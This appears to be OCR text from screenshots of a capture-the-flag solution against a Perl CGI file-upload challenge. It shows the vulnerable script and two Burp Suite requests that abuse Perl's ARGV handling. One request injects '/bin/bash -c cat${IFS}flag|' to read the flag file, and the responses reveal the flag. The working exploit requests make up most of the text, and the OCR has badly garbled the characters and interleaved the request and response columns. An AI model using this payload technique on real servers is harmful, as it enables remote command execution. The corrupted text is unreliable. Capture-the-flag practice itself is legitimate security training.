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““*perl use strict; use warnings; use CGl;
my $cgi= CGl->new,

if ( $cgi->upload( 'file' ) )

{ my $file= $cgi->param( 'file' );

while ( <$file>)

{ print"$_";

1}
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Target: http://111.198.29.45:53678 @J ?
Request Response

j Rawy T Params T Headers T Hex 1 J Rawy T Headers T Hex I HThL T Render 1

FOST fegi-binffile. pl?/bin/bash%20-c%20cat${IF S}flag| HTTR/1.1 |i Content-Type: text/html; charset=IS0-8855-1 |i

Host: 111.198.29.45:53678

Cantent-Length: 311 <IDOCTYPE htmi

Cache-Control: max-age=0 PUBLIC "AW3CH/0TD XHTML 1.0 Transitional/EN"

Origin: http:/111.198.29 45:53678

Upgrade-Insecure-Requests: 1 "http:fewwd w3, org' TRYxhtm /DT chtmi -transitional. dtd”
User-Agent: Mozilla/5.0 (Windows NT 6.1, Wing4, x64) AppleWebKit/537 .36 (KHTWL, B

like Gecko) Chrome/57.0.2987.133 Safarif537.36 <html xmins="http:/fwww. w3 arg/1999xhtml"

Caontent-Type: multipart/farm-data; boundary=----\WebKitFarmBoundaryDCdlk Onljh05IHa lang="en-US" xmllang="en-US"=

Accept: text/html application/xhtml+xml application/xml,g=0.9 image/webp * q=0.8 <head>

Referer: http://111.198.29.45:53678/cqgi-binffile.pl <title=Perl File Upload=<ftitle>

Accept-Encoding: gzip, deflate <meta http-equiv="Content-Type"

Accept-Language: zh-CN zh;q=0.8 content="text/html; charset=iso-8853-1" />

Connection: close </head=>

<baody=

—————— WebKitFormBoundaryDCdlkOn21jh051Ha <h1=Perl File Upload=</h1=>

Content-Disposition: form-data; name="file" <farm method="post"

Content-Type: text/plain enctype="multipart/form-data">

File: <input type="file" name="file" />

ARGY <input type="submit" name="Submit!"

------ WebKitFarmBoundaryDCdlkOn9ljh051Ha value="Submit!" />

Content-Disposition: form-data; name="file"; filename="jiajia.py" <fform=

Content-Type: text/plain <hr [>

cyberpeace{3e73d9494000f5hh9e357 c017 accBBfc)
Submit! r <br [=</body=</html>
______ WehkitFormBoundaryDCdlk On3ljh05IHa-- v ..;/
L
X BLd ] LU flag i L dn
4Burp Suite Professional v1.7.31 — Temporary Froject — licensed to s ;lglﬂ

Burp Intruder Repeater Window Help

[Target I Proxy I Spider T Scanner [ Intruder I Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options I.»"—'\|EI‘TS ]

7 Go Cancel < |* > |

Request

- _[ RawT FParams T Headers I Hex 1

Target: http:/111.198.29.49:93678 | & | | 7

Response

_[ RawT Headers T Hex I HTWL T Render 1

POST Jcgi-binffile. pl?Mflag HTTRA A
Host: 111.198.29.45:53676

- Content-Length: 311
Cache-Control: max-age=0

o Origin: hitp://111.198.29.45:53678
Upgrade-Insecure-Requests: 1

User-Agent: Maozillas.0 (Windows NT 6.1; WinE4; x64) AppleWebKit/A37 .36 (KHTML,

like Gecka) Chrome/a7.0.2987.133 Safani/a37.36

Content-Type: multipart/fform-data; boundary=---WebKitFormBoundaryDCdlk On9ljh05IHa
Accept: text/html application/xhtml+xml applicationfxml; g=0.9 imagefwebp */* q=0.8

Referer: http://111.198.29.45:53678/cqgi-binffile.pl
Accept-Encading: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8

Connection: close

—————— WehlkitFormBoundaryDCdlkOn3ljh05IHa
_ Content-Disposition: form-data; name="file"

[a

Content-Type: text/html; charset=IS0-8859-1 [a

<IDOCTYPE htmi
PUBLIC "#W3CHKDTD XHTML 1.0 Transitional/EN"

=
<html xmins="http:/fwww. w3 orgl1993/xhtml"
lang="en-US" xml:lang="en-U5">
<head=>
<title=Perl File Upload</title>
=meta http-equiv="Content-Type"
content="text/html: charset=iso-8859-1" />
<fhead=>
<body=
<h1=Perl File Upload</h1>
=form method="post"




: Content-Type: text/plain

ARGW
—————— WehlkitFormBoundaryDCdlkOn3ljh05IHa

g Content-Disposition: form-data; name="file"; filename="jiajia.py"
Content-Type: text/plain

Submit!
—————— WehlkitFormBoundaryDCdlkOn3ljh05IHa--

enctype="multipartform-data"=
File: <input type="file" name="file" /=
<input type="submit" name="Submit!"
value="Submit!" /=
<ffarm=>
<hr /=
cyberpeace{3e73d94940005bh9e357 c017accBBfc}
<br f=</body=</html=
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